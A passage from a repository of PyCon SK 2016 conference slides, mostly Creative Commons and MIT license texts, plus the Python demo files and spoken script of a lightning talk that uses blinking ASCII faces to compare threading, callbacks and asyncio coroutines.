agreement of the Licensor and You. 321 | f. The rights granted under, and the subject matter referenced, in this 322 | License were drafted utilizing the terminology of the Berne Convention 323 | for the Protection of Literary and Artistic Works (as amended on 324 | September 28, 1979), the Rome Convention of 1961, the WIPO Copyright 325 | Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 326 | and the Universal Copyright Convention (as revised on July 24, 1971). 327 | These rights and subject matter take effect in the relevant 328 | jurisdiction in which the License terms are sought to be enforced 329 | according to the corresponding provisions of the implementation of 330 | those treaty provisions in the applicable national law. If the 331 | standard suite of rights granted under applicable copyright law 332 | includes additional rights not granted under this License, such 333 | additional rights are deemed to be included in the License; this 334 | License is not intended to restrict the license of any rights under 335 | applicable law. 336 | 337 | 338 | Creative Commons Notice 339 | 340 | Creative Commons is not a party to this License, and makes no warranty 341 | whatsoever in connection with the Work. Creative Commons will not be 342 | liable to You or any party on any legal theory for any damages 343 | whatsoever, including without limitation any general, special, 344 | incidental or consequential damages arising in connection to this 345 | license. Notwithstanding the foregoing two (2) sentences, if Creative 346 | Commons has expressly identified itself as the Licensor hereunder, it 347 | shall have all rights and obligations of Licensor. 348 | 349 | Except for the limited purpose of indicating to the public that the 350 | Work is licensed under the CCPL, Creative Commons does not authorize 351 | the use by either party of the trademark "Creative Commons" or any 352 | related trademark or logo of Creative Commons without the prior 353 | written consent of Creative Commons. Any permitted use will be in 354 | compliance with Creative Commons' then-current trademark usage 355 | guidelines, as may be published on its website or otherwise made 356 | available upon request from time to time. For the avoidance of doubt, 357 | this trademark restriction does not form part of the License. 358 | 359 | Creative Commons may be contacted at https://creativecommons.org/. 360 | -------------------------------------------------------------------------------- /LightningTalk_Blinkys_Async_Adventure/LICENSE.MIT: -------------------------------------------------------------------------------- 1 | Copyright (c) 2014-2016 Petr Viktorin 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. 20 | -------------------------------------------------------------------------------- /LightningTalk_Blinkys_Async_Adventure/README.md: -------------------------------------------------------------------------------- 1 | # Blinky's Async Adventure (async/await in 5min) 2 | ## Petr Viktorin 3 | 4 | E-mail: encukou@gmail.com 5 | 6 | Please direct any pull requests here: https://github.com/encukou/slides/tree/master/2016-03-12-pycon-sk-blinky 7 | 8 | The licence is MIT for the code, and CC-BY-SA 3.0 for the "script". 9 | -------------------------------------------------------------------------------- /LightningTalk_Blinkys_Async_Adventure/presentation/01-single.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | 4 | 5 | 6 | def print_blinky(blinky): 7 | print(blinky, end='\r') 8 | 9 | 10 | 11 | 12 | class Blinky: 13 | def __init__(self): 14 | self._face = '(o.o)' 15 | 16 | def __str__(self): 17 | return self._face 18 | 19 | def set_face(self, new): 20 | self._face = new 21 | print_blinky(self) 22 | 23 | def run(self): 24 | while True: 25 | self.set_face('(-.-)') 26 | time.sleep(random.uniform(0.05, 0.1)) 27 | self.set_face('(o.o)') 28 | time.sleep(random.uniform(0.5, 1)) 29 | 30 | Blinky().run() 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /LightningTalk_Blinkys_Async_Adventure/presentation/02-threading.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | import threading 4 | 5 | blinkies = [] 6 | def print_blinkies(): 7 | print(*blinkies, sep=' ', end='\r') 8 | 9 | 10 | 11 | 12 | class Blinky: 13 | def __init__(self): 14 | self._face = '(o.o)' 15 | 16 | def __str__(self): 17 | return self._face 18 | 19 | def set_face(self, new): 20 | self._face = new 21 | print_blinkies() 22 | 23 | def run(self): 24 | while True: 25 | self.set_face('(-.-)') 26 | time.sleep(random.uniform(0.05, 0.1)) 27 | self.set_face('(o.o)') 28 | time.sleep(random.expovariate(1/2)) 29 | 30 | blinkies = [Blinky() for i in range(9)] 31 | 32 | for blinky in blinkies: 33 | threading.Thread(target=blinky.run).start() 34 | -------------------------------------------------------------------------------- /LightningTalk_Blinkys_Async_Adventure/presentation/03-uh-oh.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | import threading 4 | 5 | blinkies = [] 6 | def print_blinkies(): 7 | for blinky in blinkies: 8 | print(blinky, end=' ') 9 | time.sleep(0.02) 10 | print(end='\r') 11 | 12 | class Blinky: 13 | def __init__(self): 14 | self._face = '(o.o)' 15 | 16 | def __str__(self): 17 | return self._face 18 | 19 | def set_face(self, new): 20 | self._face = new 21 | print_blinkies() 22 | 23 | def run(self): 24 | while True: 25 | self.set_face('(-.-)') 26 | time.sleep(random.uniform(0.05, 0.1)) 27 | self.set_face('(o.o)') 28 | time.sleep(random.expovariate(1/2)) 29 | 30 | blinkies = [Blinky() for i in range(9)] 31 | 32 | for blinky in blinkies: 33 | threading.Thread(target=blinky.run).start() 34 | -------------------------------------------------------------------------------- /LightningTalk_Blinkys_Async_Adventure/presentation/04-callback.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | import asyncio 4 | 5 | blinkies = [] 6 | def print_blinkies(): 7 | print(*blinkies, sep=' ', end='\r') 8 | 9 | class Blinky: 10 | def __init__(self): 11 | self.open_eyes() 12 | 13 | def __str__(self): 14 | return self._face 15 | 16 | def set_face(self, new): 17 | self._face = new 18 | print_blinkies() 19 | 20 | def close_eyes(self, task=None): 21 | self.set_face('(-.-)') 22 | task = asyncio.Task(asyncio.sleep(random.uniform(0.05, 0.1))) 23 | task.add_done_callback(self.open_eyes) 24 | 25 | def open_eyes(self, task=None): 26 | self.set_face('(o.o)') 27 | task = asyncio.Task(asyncio.sleep(random.expovariate(1/2))) 28 | task.add_done_callback(self.close_eyes) 29 | 30 | blinkies = [Blinky() for i in range(9)] 31 | 32 | asyncio.get_event_loop().run_forever() 33 | -------------------------------------------------------------------------------- /LightningTalk_Blinkys_Async_Adventure/presentation/05-asyncio.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | import asyncio 4 | 5 | blinkies = [] 6 | def print_blinkies(): 7 | print(*blinkies, sep=' ', end='\r') 8 | 9 | class Blinky: 10 | def __init__(self): 11 | self._face = '(o.o)' 12 | asyncio.Task(self.run()) 13 | 14 | def __str__(self): 15 | return self._face 16 | 17 | def set_face(self, new): 18 | self._face = new 19 | print_blinkies() 20 | 21 | async def run(self): 22 | while True: 23 | self.set_face('(-.-)') 24 | await asyncio.sleep(random.uniform(0.05, 0.1)) 25 | self.set_face('(o.o)') 26 | await asyncio.sleep(random.expovariate(1/2)) 27 | 28 | 29 | 30 | blinkies = [Blinky() for i in range(9)] 31 | 32 | asyncio.get_event_loop().run_forever() 33 | -------------------------------------------------------------------------------- /LightningTalk_Blinkys_Async_Adventure/presentation/script: -------------------------------------------------------------------------------- 1 | [01-single.py] 2 | Hello! 3 | This is Blinky down here, and here's Blinky's source. 4 | Nothing too fancy -- a loop with some delays, wrapped in a class, 5 | and an external printing function for Blinky to use. 6 | 7 | Right now, Blinky is sad, because Blinky has no friends. 8 | So, let's invite some friends. 9 | To give a separate life to each blinky, we'll use the threading module, 10 | because threads are easy, right? 11 | [02-threading.py] 12 | Not much has changed here, an import, a different printing function, 13 | and we have to create and start a list of blinkies. 14 | 15 | Hooray! 15 blinkies may not be cloud-scale, but Blinky is now happy. 16 | At least until a system upgrade comes along, with a reworked, 17 | enterprise-ready print_blinkies 2.0 function that 18 | does some more complex stuff under the hood. 19 | [03-uh-oh.py] 20 | Now, each of the 15 threads tries to print the blinkies at once, 21 | owerwriting each other's unfinished lines... it's not very pretty. 22 | Both threads and greenlets has the some problem - you never know 23 | at what point in your stack something will switch to a different 24 | context, be it thread or greenlet. 25 | It's especially bad if you use gevent and monkey-patch builtin libraries. 26 | 27 | What to do about this? Let's do what Node.JS does. 28 | [04-callback.py] 29 | Sorry for the syntax -- Twisted or Node use this idea but have better syntax 30 | for it -- but the idea is when we call a long-running, non-blocking, 31 | task, we specify a function to be called when the task is done. 32 | Anything that's scheduled this way will run as a single block, 33 | with no interruptions. 34 | If the print function needed to include a blocking call, 35 | it would have to change its signature, alerting all its users that 36 | context switches can happen inside. 37 | 38 | The problem with this code is that these functions are a loop. 39 | Well, it's actually trampolined recursion, but what we want and what it 40 | does is a loop. We'd like it to look like a loop. 41 | Also debugging this can be a nightmare -- the term is "callback hell". 42 | 43 | [05-asyncio.py] 44 | This is where asyncio coroutines come in, where we can use "await" 45 | to say we're calling a function that could cause a context switch. 46 | Suddenly, we can use a loop and have it look like a loop, 47 | even though inside it's still futures and callbacks. 48 | -------------------------------------------------------------------------------- /LightningTalk_PythonRC/Ondrej_Sika__PythonRC__slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/LightningTalk_PythonRC/Ondrej_Sika__PythonRC__slides.pdf -------------------------------------------------------------------------------- /LightningTalk_PythonRC/README.md: -------------------------------------------------------------------------------- 1 | # PythonRC 2 | 3 | - author: Ondrej Sika 4 | - license: CC-BY-SA 3.0 5 | 6 | Source repository: 7 | 8 | -------------------------------------------------------------------------------- /Mashing_up_py.test_coverage.py_and_ast.py_to_take_TDD_to_a_new_level/PyconSK testmon.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Mashing_up_py.test_coverage.py_and_ast.py_to_take_TDD_to_a_new_level/PyconSK testmon.pdf -------------------------------------------------------------------------------- /Mashing_up_py.test_coverage.py_and_ast.py_to_take_TDD_to_a_new_level/README.md: -------------------------------------------------------------------------------- 1 | # Mashing up py.test, coverage.py and ast.py to take TDD to a new level 2 | ## Tibor Arpáš 3 | 4 | -------------------------------------------------------------------------------- /My_Awesome_PyConSK_Presentation/LICENSE: -------------------------------------------------------------------------------- 1 | 2 | 3 | Attribution 4.0 International 4 | 5 | ======================================================================= 6 | 7 | Creative Commons Corporation ("Creative Commons") is not a law firm and 8 | does not provide legal services or legal advice. Distribution of 9 | Creative Commons public licenses does not create a lawyer-client or 10 | other relationship. Creative Commons makes its licenses and related 11 | information available on an "as-is" basis. Creative Commons gives no 12 | warranties regarding its licenses, any material licensed under their 13 | terms and conditions, or any related information. Creative Commons 14 | disclaims all liability for damages resulting from their use to the 15 | fullest extent possible. 16 | 17 | Using Creative Commons Public Licenses 18 | 19 | Creative Commons public licenses provide a standard set of terms and 20 | conditions that creators and other rights holders may use to share 21 | original works of authorship and other material subject to copyright 22 | and certain other rights specified in the public license below. The 23 | following considerations are for informational purposes only, are not 24 | exhaustive, and do not form part of our licenses. 25 | 26 | Considerations for licensors: Our public licenses are 27 | intended for use by those authorized to give the public 28 | permission to use material in ways otherwise restricted by 29 | copyright and certain other rights. Our licenses are 30 | irrevocable. Licensors should read and understand the terms 31 | and conditions of the license they choose before applying it. 32 | Licensors should also secure all rights necessary before 33 | applying our licenses so that the public can reuse the 34 | material as expected. Licensors should clearly mark any 35 | material not subject to the license. This includes other CC- 36 | licensed material, or material used under an exception or 37 | limitation to copyright. More considerations for licensors: 38 | wiki.creativecommons.org/Considerations_for_licensors 39 | 40 | Considerations for the public: By using one of our public 41 | licenses, a licensor grants the public permission to use the 42 | licensed material under specified terms and conditions. If 43 | the licensor's permission is not necessary for any reason--for 44 | example, because of any applicable exception or limitation to 45 | copyright--then that use is not regulated by the license. Our 46 | licenses grant only permissions under copyright and certain 47 | other rights that a licensor has authority to grant. Use of 48 | the licensed material may still be restricted for other 49 | reasons, including because others have copyright or other 50 | rights in the material. A licensor may make special requests, 51 | such as asking that all changes be marked or described. 52 | Although not required by our licenses, you are encouraged to 53 | respect those requests where reasonable. More_considerations 54 | for the public: 55 | wiki.creativecommons.org/Considerations_for_licensees 56 | 57 | ======================================================================= 58 | 59 | Creative Commons Attribution 4.0 International Public License 60 | 61 | By exercising the Licensed Rights (defined below), You accept and agree 62 | to be bound by the terms and conditions of this Creative Commons 63 | Attribution 4.0 International Public License ("Public License"). To the 64 | extent this Public License may be interpreted as a contract, You are 65 | granted the Licensed Rights in consideration of Your acceptance of 66 | these terms and conditions, and the Licensor grants You such rights in 67 | consideration of benefits the Licensor receives from making the 68 | Licensed Material available under these terms and conditions. 69 | 70 | 71 | Section 1 -- Definitions. 72 | 73 | a. Adapted Material means material subject to Copyright and Similar 74 | Rights that is derived from or based upon the Licensed Material 75 | and in which the Licensed Material is translated, altered, 76 | arranged, transformed, or otherwise modified in a manner requiring 77 | permission under the Copyright and Similar Rights held by the 78 | Licensor. For purposes of this Public License, where the Licensed 79 | Material is a musical work, performance, or sound recording, 80 | Adapted Material is always produced where the Licensed Material is 81 | synched in timed relation with a moving image. 82 | 83 | b. Adapter's License means the license You apply to Your Copyright 84 | and Similar Rights in Your contributions to Adapted Material in 85 | accordance with the terms and conditions of this Public License. 86 | 87 | c. Copyright and Similar Rights means copyright and/or similar rights 88 | closely related to copyright including, without limitation, 89 | performance, broadcast, sound recording, and Sui Generis Database 90 | Rights, without regard to how the rights are labeled or 91 | categorized. For purposes of this Public License, the rights 92 | specified in Section 2(b)(1)-(2) are not Copyright and Similar 93 | Rights. 94 | 95 | d. Effective Technological Measures means those measures that, in the 96 | absence of proper authority, may not be circumvented under laws 97 | fulfilling obligations under Article 11 of the WIPO Copyright 98 | Treaty adopted on December 20, 1996, and/or similar international 99 | agreements. 100 | 101 | e. Exceptions and Limitations means fair use, fair dealing, and/or 102 | any other exception or limitation to Copyright and Similar Rights 103 | that applies to Your use of the Licensed Material. 104 | 105 | f. Licensed Material means the artistic or literary work, database, 106 | or other material to which the Licensor applied this Public 107 | License. 108 | 109 | g. Licensed Rights means the rights granted to You subject to the 110 | terms and conditions of this Public License, which are limited to 111 | all Copyright and Similar Rights that apply to Your use of the 112 | Licensed Material and that the Licensor has authority to license. 113 | 114 | h. Licensor means the individual(s) or entity(ies) granting rights 115 | under this Public License. 116 | 117 | i. Share means to provide material to the public by any means or 118 | process that requires permission under the Licensed Rights, such 119 | as reproduction, public display, public performance, distribution, 120 | dissemination, communication, or importation, and to make material 121 | available to the public including in ways that members of the 122 | public may access the material from a place and at a time 123 | individually chosen by them. 124 | 125 | j. Sui Generis Database Rights means rights other than copyright 126 | resulting from Directive 96/9/EC of the European Parliament and of 127 | the Council of 11 March 1996 on the legal protection of databases, 128 | as amended and/or succeeded, as well as other essentially 129 | equivalent rights anywhere in the world. 130 | 131 | k. You means the individual or entity exercising the Licensed Rights 132 | under this Public License. Your has a corresponding meaning. 133 | 134 | 135 | Section 2 -- Scope. 136 | 137 | a. License grant. 138 | 139 | 1. Subject to the terms and conditions of this Public License, 140 | the Licensor hereby grants You a worldwide, royalty-free, 141 | non-sublicensable, non-exclusive, irrevocable license to 142 | exercise the Licensed Rights in the Licensed Material to: 143 | 144 | a. reproduce and Share the Licensed Material, in whole or 145 | in part; and 146 | 147 | b. produce, reproduce, and Share Adapted Material. 148 | 149 | 2. Exceptions and Limitations. For the avoidance of doubt, where 150 | Exceptions and Limitations apply to Your use, this Public 151 | License does not apply, and You do not need to comply with 152 | its terms and conditions. 153 | 154 | 3. Term. The term of this Public License is specified in Section 155 | 6(a). 156 | 157 | 4. Media and formats; technical modifications allowed. The 158 | Licensor authorizes You to exercise the Licensed Rights in 159 | all media and formats whether now known or hereafter created, 160 | and to make technical modifications necessary to do so. The 161 | Licensor waives and/or agrees not to assert any right or 162 | authority to forbid You from making technical modifications 163 | necessary to exercise the Licensed Rights, including 164 | technical modifications necessary to circumvent Effective 165 | Technological Measures. For purposes of this Public License, 166 | simply making modifications authorized by this Section 2(a) 167 | (4) never produces Adapted Material. 168 | 169 | 5. Downstream recipients. 170 | 171 | a. Offer from the Licensor -- Licensed Material. Every 172 | recipient of the Licensed Material automatically 173 | receives an offer from the Licensor to exercise the 174 | Licensed Rights under the terms and conditions of this 175 | Public License. 176 | 177 | b. No downstream restrictions. You may not offer or impose 178 | any additional or different terms or conditions on, or 179 | apply any Effective Technological Measures to, the 180 | Licensed Material if doing so restricts exercise of the 181 | Licensed Rights by any recipient of the Licensed 182 | Material. 183 | 184 | 6. No endorsement. Nothing in this Public License constitutes or 185 | may be construed as permission to assert or imply that You 186 | are, or that Your use of the Licensed Material is, connected 187 | with, or sponsored, endorsed, or granted official status by, 188 | the Licensor or others designated to receive attribution as 189 | provided in Section 3(a)(1)(A)(i). 190 | 191 | b. Other rights. 192 | 193 | 1. Moral rights, such as the right of integrity, are not 194 | licensed under this Public License, nor are publicity, 195 | privacy, and/or other similar personality rights; however, to 196 | the extent possible, the Licensor waives and/or agrees not to 197 | assert any such rights held by the Licensor to the limited 198 | extent necessary to allow You to exercise the Licensed 199 | Rights, but not otherwise. 200 | 201 | 2. Patent and trademark rights are not licensed under this 202 | Public License. 203 | 204 | 3. To the extent possible, the Licensor waives any right to 205 | collect royalties from You for the exercise of the Licensed 206 | Rights, whether directly or through a collecting society 207 | under any voluntary or waivable statutory or compulsory 208 | licensing scheme. In all other cases the Licensor expressly 209 | reserves any right to collect such royalties. 210 | 211 | 212 | Section 3 -- License Conditions. 213 | 214 | Your exercise of the Licensed Rights is expressly made subject to the 215 | following conditions. 216 | 217 | a. Attribution. 218 | 219 | 1. If You Share the Licensed Material (including in modified 220 | form), You must: 221 | 222 | a. retain the following if it is supplied by the Licensor 223 | with the Licensed Material: 224 | 225 | i. identification of the creator(s) of the Licensed 226 | Material and any others designated to receive 227 | attribution, in any reasonable manner requested by 228 | the Licensor (including by pseudonym if 229 | designated); 230 | 231 | ii. a copyright notice; 232 | 233 | iii. a notice that refers to this Public License; 234 | 235 | iv. a notice that refers to the disclaimer of 236 | warranties; 237 | 238 | v. a URI or hyperlink to the Licensed Material to the 239 | extent reasonably practicable; 240 | 241 | b. indicate if You modified the Licensed Material and 242 | retain an indication of any previous modifications; and 243 | 244 | c. indicate the Licensed Material is licensed under this 245 | Public License, and include the text of, or the URI or 246 | hyperlink to, this Public License. 247 | 248 | 2. You may satisfy the conditions in Section 3(a)(1) in any 249 | reasonable manner based on the medium, means, and context in 250 | which You Share the Licensed Material. For example, it may be 251 | reasonable to satisfy the conditions by providing a URI or 252 | hyperlink to a resource that includes the required 253 | information. 254 | 255 | 3. If requested by the Licensor, You must remove any of the 256 | information required by Section 3(a)(1)(A) to the extent 257 | reasonably practicable. 258 | 259 | 4. If You Share Adapted Material You produce, the Adapter's 260 | License You apply must not prevent recipients of the Adapted 261 | Material from complying with this Public License. 262 | 263 | 264 | Section 4 -- Sui Generis Database Rights. 265 | 266 | Where the Licensed Rights include Sui Generis Database Rights that 267 | apply to Your use of the Licensed Material: 268 | 269 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right 270 | to extract, reuse, reproduce, and Share all or a substantial 271 | portion of the contents of the database; 272 | 273 | b. if You include all or a substantial portion of the database 274 | contents in a database in which You have Sui Generis Database 275 | Rights, then the database in which You have Sui Generis Database 276 | Rights (but not its individual contents) is Adapted Material; and 277 | 278 | c. You must comply with the conditions in Section 3(a) if You Share 279 | all or a substantial portion of the contents of the database. 280 | 281 | For the avoidance of doubt, this Section 4 supplements and does not 282 | replace Your obligations under this Public License where the Licensed 283 | Rights include other Copyright and Similar Rights. 284 | 285 | 286 | Section 5 -- Disclaimer of Warranties and Limitation of Liability. 287 | 288 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE 289 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS 290 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF 291 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, 292 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, 293 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR 294 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, 295 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT 296 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT 297 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. 298 | 299 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE 300 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, 301 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, 302 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, 303 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR 304 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN 305 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR 306 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR 307 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. 308 | 309 | c. The disclaimer of warranties and limitation of liability provided 310 | above shall be interpreted in a manner that, to the extent 311 | possible, most closely approximates an absolute disclaimer and 312 | waiver of all liability. 313 | 314 | 315 | Section 6 -- Term and Termination. 316 | 317 | a. This Public License applies for the term of the Copyright and 318 | Similar Rights licensed here. However, if You fail to comply with 319 | this Public License, then Your rights under this Public License 320 | terminate automatically. 321 | 322 | b. Where Your right to use the Licensed Material has terminated under 323 | Section 6(a), it reinstates: 324 | 325 | 1. automatically as of the date the violation is cured, provided 326 | it is cured within 30 days of Your discovery of the 327 | violation; or 328 | 329 | 2. upon express reinstatement by the Licensor. 330 | 331 | For the avoidance of doubt, this Section 6(b) does not affect any 332 | right the Licensor may have to seek remedies for Your violations 333 | of this Public License. 334 | 335 | c. For the avoidance of doubt, the Licensor may also offer the 336 | Licensed Material under separate terms or conditions or stop 337 | distributing the Licensed Material at any time; however, doing so 338 | will not terminate this Public License. 339 | 340 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public 341 | License. 342 | 343 | 344 | Section 7 -- Other Terms and Conditions. 345 | 346 | a. The Licensor shall not be bound by any additional or different 347 | terms or conditions communicated by You unless expressly agreed. 348 | 349 | b. Any arrangements, understandings, or agreements regarding the 350 | Licensed Material not stated herein are separate from and 351 | independent of the terms and conditions of this Public License. 352 | 353 | 354 | Section 8 -- Interpretation. 355 | 356 | a. For the avoidance of doubt, this Public License does not, and 357 | shall not be interpreted to, reduce, limit, restrict, or impose 358 | conditions on any use of the Licensed Material that could lawfully 359 | be made without permission under this Public License. 360 | 361 | b. To the extent possible, if any provision of this Public License is 362 | deemed unenforceable, it shall be automatically reformed to the 363 | minimum extent necessary to make it enforceable. If the provision 364 | cannot be reformed, it shall be severed from this Public License 365 | without affecting the enforceability of the remaining terms and 366 | conditions. 367 | 368 | c. No term or condition of this Public License will be waived and no 369 | failure to comply consented to unless expressly agreed to by the 370 | Licensor. 371 | 372 | d. Nothing in this Public License constitutes or may be interpreted 373 | as a limitation upon, or waiver of, any privileges and immunities 374 | that apply to the Licensor or You, including from the legal 375 | processes of any jurisdiction or authority. 376 | 377 | 378 | ======================================================================= 379 | 380 | Creative Commons is not a party to its public 381 | licenses. Notwithstanding, Creative Commons may elect to apply one of 382 | its public licenses to material it publishes and in those instances 383 | will be considered the “Licensor.” The text of the Creative Commons 384 | public licenses is dedicated to the public domain under the CC0 Public 385 | Domain Dedication. Except for the limited purpose of indicating that 386 | material is shared under a Creative Commons public license or as 387 | otherwise permitted by the Creative Commons policies published at 388 | creativecommons.org/policies, Creative Commons does not authorize the 389 | use of the trademark "Creative Commons" or any other trademark or logo 390 | of Creative Commons without its prior written consent including, 391 | without limitation, in connection with any unauthorized modifications 392 | to any of its public licenses or any other arrangements, 393 | understandings, or agreements concerning use of licensed material. For 394 | the avoidance of doubt, this paragraph does not form part of the 395 | public licenses. 396 | 397 | Creative Commons may be contacted at creativecommons.org. 398 | 399 | 400 | -------------------------------------------------------------------------------- /My_Awesome_PyConSK_Presentation/MyAwesomePyConSKPresentation.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/My_Awesome_PyConSK_Presentation/MyAwesomePyConSKPresentation.pdf -------------------------------------------------------------------------------- /My_Awesome_PyConSK_Presentation/README.md: -------------------------------------------------------------------------------- 1 | # My Awesome PyConSK Presentation 2 | ## Jane Doe 3 | 4 | In the README you can put your contact details, or sli.do answers if you decided to answer them. 5 | If you have already published your slides somewhere else, you can put link into README. 6 | -------------------------------------------------------------------------------- /Protocol_Libraries_The_Right_Way/LICENSE: -------------------------------------------------------------------------------- 1 | Attribution-ShareAlike 4.0 International 2 | 3 | ======================================================================= 4 | 5 | Creative Commons Corporation ("Creative Commons") is not a law firm and 6 | does not provide legal services or legal advice. Distribution of 7 | Creative Commons public licenses does not create a lawyer-client or 8 | other relationship. Creative Commons makes its licenses and related 9 | information available on an "as-is" basis. Creative Commons gives no 10 | warranties regarding its licenses, any material licensed under their 11 | terms and conditions, or any related information. Creative Commons 12 | disclaims all liability for damages resulting from their use to the 13 | fullest extent possible. 14 | 15 | Using Creative Commons Public Licenses 16 | 17 | Creative Commons public licenses provide a standard set of terms and 18 | conditions that creators and other rights holders may use to share 19 | original works of authorship and other material subject to copyright 20 | and certain other rights specified in the public license below. The 21 | following considerations are for informational purposes only, are not 22 | exhaustive, and do not form part of our licenses. 23 | 24 | Considerations for licensors: Our public licenses are 25 | intended for use by those authorized to give the public 26 | permission to use material in ways otherwise restricted by 27 | copyright and certain other rights. Our licenses are 28 | irrevocable. Licensors should read and understand the terms 29 | and conditions of the license they choose before applying it. 30 | Licensors should also secure all rights necessary before 31 | applying our licenses so that the public can reuse the 32 | material as expected. Licensors should clearly mark any 33 | material not subject to the license. This includes other CC- 34 | licensed material, or material used under an exception or 35 | limitation to copyright. More considerations for licensors: 36 | wiki.creativecommons.org/Considerations_for_licensors 37 | 38 | Considerations for the public: By using one of our public 39 | licenses, a licensor grants the public permission to use the 40 | licensed material under specified terms and conditions. If 41 | the licensor's permission is not necessary for any reason--for 42 | example, because of any applicable exception or limitation to 43 | copyright--then that use is not regulated by the license. Our 44 | licenses grant only permissions under copyright and certain 45 | other rights that a licensor has authority to grant. Use of 46 | the licensed material may still be restricted for other 47 | reasons, including because others have copyright or other 48 | rights in the material. A licensor may make special requests, 49 | such as asking that all changes be marked or described. 50 | Although not required by our licenses, you are encouraged to 51 | respect those requests where reasonable. More_considerations 52 | for the public: 53 | wiki.creativecommons.org/Considerations_for_licensees 54 | 55 | ======================================================================= 56 | 57 | Creative Commons Attribution-ShareAlike 4.0 International Public 58 | License 59 | 60 | By exercising the Licensed Rights (defined below), You accept and agree 61 | to be bound by the terms and conditions of this Creative Commons 62 | Attribution-ShareAlike 4.0 International Public License ("Public 63 | License"). To the extent this Public License may be interpreted as a 64 | contract, You are granted the Licensed Rights in consideration of Your 65 | acceptance of these terms and conditions, and the Licensor grants You 66 | such rights in consideration of benefits the Licensor receives from 67 | making the Licensed Material available under these terms and 68 | conditions. 69 | 70 | 71 | Section 1 -- Definitions. 72 | 73 | a. Adapted Material means material subject to Copyright and Similar 74 | Rights that is derived from or based upon the Licensed Material 75 | and in which the Licensed Material is translated, altered, 76 | arranged, transformed, or otherwise modified in a manner requiring 77 | permission under the Copyright and Similar Rights held by the 78 | Licensor. For purposes of this Public License, where the Licensed 79 | Material is a musical work, performance, or sound recording, 80 | Adapted Material is always produced where the Licensed Material is 81 | synched in timed relation with a moving image. 82 | 83 | b. Adapter's License means the license You apply to Your Copyright 84 | and Similar Rights in Your contributions to Adapted Material in 85 | accordance with the terms and conditions of this Public License. 86 | 87 | c. BY-SA Compatible License means a license listed at 88 | creativecommons.org/compatiblelicenses, approved by Creative 89 | Commons as essentially the equivalent of this Public License. 90 | 91 | d. Copyright and Similar Rights means copyright and/or similar rights 92 | closely related to copyright including, without limitation, 93 | performance, broadcast, sound recording, and Sui Generis Database 94 | Rights, without regard to how the rights are labeled or 95 | categorized. For purposes of this Public License, the rights 96 | specified in Section 2(b)(1)-(2) are not Copyright and Similar 97 | Rights. 98 | 99 | e. Effective Technological Measures means those measures that, in the 100 | absence of proper authority, may not be circumvented under laws 101 | fulfilling obligations under Article 11 of the WIPO Copyright 102 | Treaty adopted on December 20, 1996, and/or similar international 103 | agreements. 104 | 105 | f. Exceptions and Limitations means fair use, fair dealing, and/or 106 | any other exception or limitation to Copyright and Similar Rights 107 | that applies to Your use of the Licensed Material. 108 | 109 | g. License Elements means the license attributes listed in the name 110 | of a Creative Commons Public License. The License Elements of this 111 | Public License are Attribution and ShareAlike. 112 | 113 | h. Licensed Material means the artistic or literary work, database, 114 | or other material to which the Licensor applied this Public 115 | License. 116 | 117 | i. Licensed Rights means the rights granted to You subject to the 118 | 